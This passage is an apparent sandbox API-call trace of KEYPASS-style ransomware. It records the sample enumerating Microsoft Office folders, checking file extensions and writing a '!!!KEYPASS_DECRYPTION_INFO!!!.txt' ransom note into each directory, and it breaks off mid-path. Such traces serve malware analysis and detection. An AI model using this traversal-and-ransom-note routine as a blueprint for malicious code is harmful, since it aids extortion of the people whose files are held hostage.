[0245.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office15\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79898 [0245.049] FindNextFileW (in: hFindFile=0x2e79898, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.050] FindNextFileW (in: hFindFile=0x2e79898, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.050] FindNextFileW (in: hFindFile=0x2e79898, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office15\\pidgenx.dll") returned=".dll" [0245.050] FindNextFileW (in: hFindFile=0x2e79898, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office15\\pkeyconfig-office.xrm-ms") returned=".xrm-ms" [0245.050] FindNextFileW (in: hFindFile=0x2e79898, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0245.050] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0245.050] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0245.050] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.050] GetLastError () returned 0x3f0 [0245.050] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.050] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0245.050] GetFileType (hFile=0x600) returned 0x1 [0245.051] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0245.051] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0245.051] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0245.051] WriteFile (in: hFile=0x600, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.053] WriteFile (in: hFile=0x600, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0245.053] CloseHandle (hObject=0x600) returned 1 [0245.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79a18 [0245.053] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.116] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.116] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.116] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.116] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.116] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.116] GetLastError () returned 0x3f0 [0245.116] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.116] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0245.138] GetFileType (hFile=0x604) returned 0x1 [0245.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.138] WriteFile (in: hFile=0x604, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.138] WriteFile (in: hFile=0x604, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.139] CloseHandle (hObject=0x604) returned 1 [0245.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79c98 [0245.139] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.139] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.139] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.139] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC") returned=".ACC" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AccessRuntime2019_eula.txt") returned=".txt" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AccessRuntime_eula.txt") returned=".txt" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS_WHATSNEW.XML") returned=".XML" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCOLKI.DLL") returned=".DLL" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP") returned=".HLP" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACWIZRC.DLL") returned=".DLL" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AEC.VSL") returned=".VSL" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AECUTILS.VSL") returned=".VSL" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ASSET.VRD") returned=".VRD" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM") returned=".HTM" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BCSRuntimeRes.dll") returned=".dll" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BHOINTL.DLL") returned=".DLL" [0245.140] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.140] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0245.140] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2ef8e18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.140] GetLastError () returned 0x3f0 [0245.141] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.141] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0245.141] GetFileType (hFile=0x608) returned 0x1 [0245.142] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0245.142] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0245.142] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0245.142] WriteFile (in: hFile=0x608, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0245.142] WriteFile (in: hFile=0x608, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0245.142] CloseHandle (hObject=0x608) returned 1 [0245.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e79818 [0245.143] FindNextFileW (in: hFindFile=0x2e79818, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.143] FindNextFileW (in: hFindFile=0x2e79818, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.143] FindNextFileW (in: hFindFile=0x2e79818, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML") returned=".XML" [0245.143] FindNextFileW (in: hFindFile=0x2e79818, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0245.143] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BSTORM.VSL") returned=".VSL" [0245.143] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS") returned=".CSS" [0245.143] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CALEVENT.VRD") returned=".VRD" [0245.143] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CERTINTL.DLL") returned=".DLL" [0245.143] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Client2019_eula.txt") returned=".txt" [0245.143] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.143] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientARMRefer2019_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientARMRefer_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientLangPack2019_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientLangPack_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientOSub2019_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientOSub_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientPreview_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientSub2019_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientSub_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientVolumeLicense2019_eula.txt") returned=".txt" [0245.144] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.162] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ClientVolumeLicense_eula.txt") returned=".txt" [0245.162] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.162] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\client_eula.txt") returned=".txt" [0245.162] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.162] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CLVWINTL.DLL") returned=".DLL" [0245.162] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.162] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CMAXRES.DLL") returned=".DLL" [0245.162] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.162] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS") returned=".CSS" [0245.162] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.162] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Init.xsn") returned=".xsn" [0245.162] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.162] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Sign.xsn") returned=".xsn" [0245.162] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML") returned=".XML" [0245.163] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.163] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0245.163] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2ef8e18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.163] GetLastError () returned 0x3f0 [0245.163] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.163] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0245.168] GetFileType (hFile=0x60c) returned 0x1 [0245.168] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0245.169] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0245.169] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0245.169] WriteFile (in: hFile=0x60c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0245.169] WriteFile (in: hFile=0x60c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0245.170] CloseHandle (hObject=0x60c) returned 1 [0245.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e79658 [0245.170] FindNextFileW (in: hFindFile=0x2e79658, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.170] FindNextFileW (in: hFindFile=0x2e79658, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.170] FindNextFileW (in: hFindFile=0x2e79658, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc") returned=".odc" [0245.170] FindNextFileW (in: hFindFile=0x2e79658, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc") returned=".odc" [0245.170] FindNextFileW (in: hFindFile=0x2e79658, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\DESKTOP.INI") returned=".INI" [0245.170] FindNextFileW (in: hFindFile=0x2e79658, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO") returned=".ICO" [0245.170] FindNextFileW (in: hFindFile=0x2e79658, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0245.170] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBENGR.VSL") returned=".VSL" [0245.170] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB") returned=".MDB" [0245.170] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBWIZ.VSL") returned=".VSL" [0245.170] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS") returned=".CSS" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DOORSCHD.VRD") returned=".VRD" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DRILLDWN.VSL") returned=".VSL" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGCNV.VSL") returned=".VSL" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGDPRES.DLL") returned=".DLL" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_INIT.XSN") returned=".XSN" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 